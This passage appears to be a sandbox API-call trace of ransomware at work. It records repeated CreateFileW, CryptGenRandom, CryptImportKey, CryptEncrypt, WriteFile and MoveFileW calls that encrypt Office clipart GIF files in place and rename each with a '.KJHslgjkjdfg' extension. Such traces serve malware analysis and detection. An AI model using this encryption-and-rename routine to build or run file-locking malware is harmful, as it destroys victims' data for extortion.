Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.kjhslgjkjdfg")) returned 1 [0219.307] CloseHandle (hObject=0x138) returned 1 [0219.307] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0219.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.308] GetProcessHeap () returned 0x990000 [0219.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.308] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.308] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.308] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0219.310] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.310] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.310] GetProcessHeap () returned 0x990000 [0219.310] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.310] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.310] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.310] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.310] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.311] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.311] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.311] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.311] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.311] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.311] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.311] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.311] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x595, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x595, lpOverlapped=0x0) returned 1 [0219.311] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5a0) returned 1 [0219.311] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.311] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x5a0, lpOverlapped=0x0) returned 1 [0219.311] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.311] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.311] SetEndOfFile (hFile=0x138) returned 1 [0219.313] GetProcessHeap () returned 0x990000 [0219.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.313] GetProcessHeap () returned 0x990000 [0219.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.kjhslgjkjdfg")) returned 1 [0219.315] CloseHandle (hObject=0x138) returned 1 [0219.315] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0219.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.317] GetProcessHeap () returned 0x990000 [0219.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.317] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.317] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.317] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0219.319] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.319] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.319] GetProcessHeap () returned 0x990000 [0219.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.319] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.319] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.319] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.319] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.319] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.319] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.320] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.320] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.320] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.320] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.320] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11d1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x11d1, lpOverlapped=0x0) returned 1 [0219.321] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x11e0, dwBufLen=0x11e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x11e0) returned 1 [0219.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.321] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x11e0, lpOverlapped=0x0) returned 1 [0219.321] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x12b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.321] SetEndOfFile (hFile=0x138) returned 1 [0219.323] GetProcessHeap () returned 0x990000 [0219.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.323] GetProcessHeap () returned 0x990000 [0219.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.kjhslgjkjdfg")) returned 1 [0219.325] CloseHandle (hObject=0x138) returned 1 [0219.325] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0219.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.326] GetProcessHeap () returned 0x990000 [0219.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.326] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.326] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.326] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0219.328] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.328] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.328] GetProcessHeap () returned 0x990000 [0219.328] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.328] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.328] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.328] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.328] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.328] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.328] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.328] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.329] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.329] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.329] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.329] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.329] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1323, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1323, lpOverlapped=0x0) returned 1 [0219.330] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1330, dwBufLen=0x1330 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1330) returned 1 [0219.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.330] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1330, lpOverlapped=0x0) returned 1 [0219.330] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.330] SetEndOfFile (hFile=0x138) returned 1 [0219.332] GetProcessHeap () returned 0x990000 [0219.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.332] GetProcessHeap () returned 0x990000 [0219.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.kjhslgjkjdfg")) returned 1 [0219.334] CloseHandle (hObject=0x138) returned 1 [0219.334] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0219.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.335] GetProcessHeap () returned 0x990000 [0219.335] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.336] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.336] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.336] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0219.338] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.338] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.338] GetProcessHeap () returned 0x990000 [0219.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.339] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.339] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.339] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.339] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.339] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.339] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.340] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.340] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.340] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.340] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.340] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x43e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x43e, lpOverlapped=0x0) returned 1 [0219.340] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x440, dwBufLen=0x440 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x440) returned 1 [0219.340] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.340] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x440, lpOverlapped=0x0) returned 1 [0219.340] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.340] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.340] SetEndOfFile (hFile=0x138) returned 1 [0219.343] GetProcessHeap () returned 0x990000 [0219.343] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.343] GetProcessHeap () returned 0x990000 [0219.343] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.kjhslgjkjdfg")) returned 1 [0219.345] CloseHandle (hObject=0x138) returned 1 [0219.345] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0219.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.347] GetProcessHeap () returned 